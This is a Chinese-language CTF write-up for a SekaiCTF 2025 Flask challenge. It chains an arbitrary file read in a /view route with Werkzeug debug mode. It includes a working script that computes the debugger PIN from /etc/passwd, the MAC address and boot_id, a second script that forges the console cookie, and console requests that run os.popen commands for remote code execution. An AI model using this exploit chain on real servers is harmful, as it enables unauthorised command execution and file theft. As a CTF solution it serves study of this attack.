sekaictf-2025-replay

My Flask App

签到题

该题源码很简单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from flask import Flask, request, render_template

app = Flask(__name__)

@app.route('/')
def hello_world():
return render_template('index.html')

@app.route('/view')
def view():
filename = request.args.get('filename')
if not filename:
return "Filename is required", 400
try:
with open(filename, 'r') as file:
content = file.read()
return content, 200
except FileNotFoundError:
return "File not found", 404
except Exception as e:
return f"Error: {str(e)}", 500

if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000, debug=True)

给了我们任意文件读取,这里注意debug是打开的,这样的话看看是否可以进/console

img

那就确定方向了,读配置文件,生成pin码实现RCE

保险起见看一下dockerfile

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
FROM python:3.11-slim

RUN pip install --no-cache-dir flask==3.1.1

WORKDIR /app

COPY app .

RUN mv flag.txt /flag-$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1).txt && \
chown -R nobody:nogroup /app

USER nobody

EXPOSE 5000

CMD ["python", "app.py"]

正常

引入这一篇文章https://xz.aliyun.com/news/15462

在数据包里看到werkzeug版本

Werkzeug/3.1.3 Python/3.11.13

我们发现,当 高于3.0.3版本,仅支持回环地址或localhost

我们本地起的环境没这个问题,但是实际做题还是要考虑进去的

还是老样子拿参数

/proc/self/cgroup 为空

/sys/class/net/eth0/address 00:16:3e:03:8f:39 转十进制:156643865643911

/proc/self/cgroup 0::/ 后为空

/proc/sys/kernel/random/boot_id 349c6b4b-8b8c-418e-9366-05b62c5adf21

这里引述一下

1
2
3
4
5
6
7
8
9
10
11
12
13
pin码主要由六个参数构成

probably_public_bits:

username:执行代码时的用户名,读/etc/passwd这个文件,然后猜UID:1000以上一般为人为创建
appname:getattr(app, "__name__", app.__class__.__name__),固定值,默认是 Flask
modname:getattr(app, "module", t.cast(object, app).class.module),获取固定值,默认是 flask.app
moddir:getattr(mod, "__file__", None),即 app.py 文件所在路径,一般可以通过查看debug报错信息获得

private_bits:

uuid:str(uuid.getnode()),即电脑上的 MAC 地址,也可以通过读取 /sys/class/net/eth0/address 获取,一般得到的是一串十六进制数,将其中的横杠去掉然后转成十进制,例如:00:16:3e:03:8f:39 \=> 95529701177
machine_id:get_machine_id(),首先读取 /etc/machine-id(docker不读它,即使有),如果有值则不读取 /proc/sys/kernel/random/boot_id,否则读取该文件。接着读取 /proc/self/cgroup,取第一行的最后一个斜杠 / 后面的所有字符串,与上面读到的值拼接起来,最后得到 machine_id。

注意一下/etc/passwd读的是最后一行

代入脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import hashlib
from itertools import chain

# 可能是公开的信息部分
probably_public_bits = [
'nobody', # /etc/passwd
'flask.app', # 默认值
'Flask', # 默认值
'/usr/local/lib/python3.11/site-packages/flask/app.py' # moddir,报错得到
]

# 私有信息部分
private_bits = [
'156643865643911', # /sys/class/net/eth0/address 十进制
'349c6b4b-8b8c-418e-9366-05b62c5adf21 '
# machine-id部分
]

# 创建哈希对象
h = hashlib.sha1()

# 迭代可能公开和私有的信息进行哈希计算
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)

# 加盐处理
h.update(b'cookiesalt')

# 生成 cookie 名称
cookie_name = '__wzd' + h.hexdigest()[:20]
print(cookie_name)

# 生成 pin 码
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

# 格式化 pin 码
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

生成了pin码:272-804-514

当然还差很多继续

直接/console

拿到

1
2
3
4
5
6
7
8
</script>
<script>
var CONSOLE_MODE = true,
EVALEX = true,
EVALEX_TRUSTED = false,
SECRET = "xYLyyKSERUPhMhe2KEYb";
</script>
</head>

s=xYLyyKSERUPhMhe2KEYb

1
/console?__debugger__=yes&cmd=pinauth&pin=272-804-514&s=xYLyyKSERUPhMhe2KEYb

拿到cookie:__wzd9475701b8471aaf9805b=1756821110|397b91fe8c68

带上之后,直接

1
/console?__debugger__=yes&cmd=import+os;os.popen('ls%20/').read()&pin=272-804-514&s=xYLyyKSERUPhMhe2KEYb&frm=0

拿到flag的文件名

当然cookie我们自己也可以拿到,首先第一个脚本拿到了名称

再用一个脚本拿到值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import hashlib
import time


# A week
PIN_TIME = 60 * 60 * 24 * 7


def hash_pin(pin: str) -> str:
return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]


print(f"{int(time.time()+10000+60 * 60 * 24 * 7)}|{hash_pin('272-804-514')}")
#生成cookie的值

img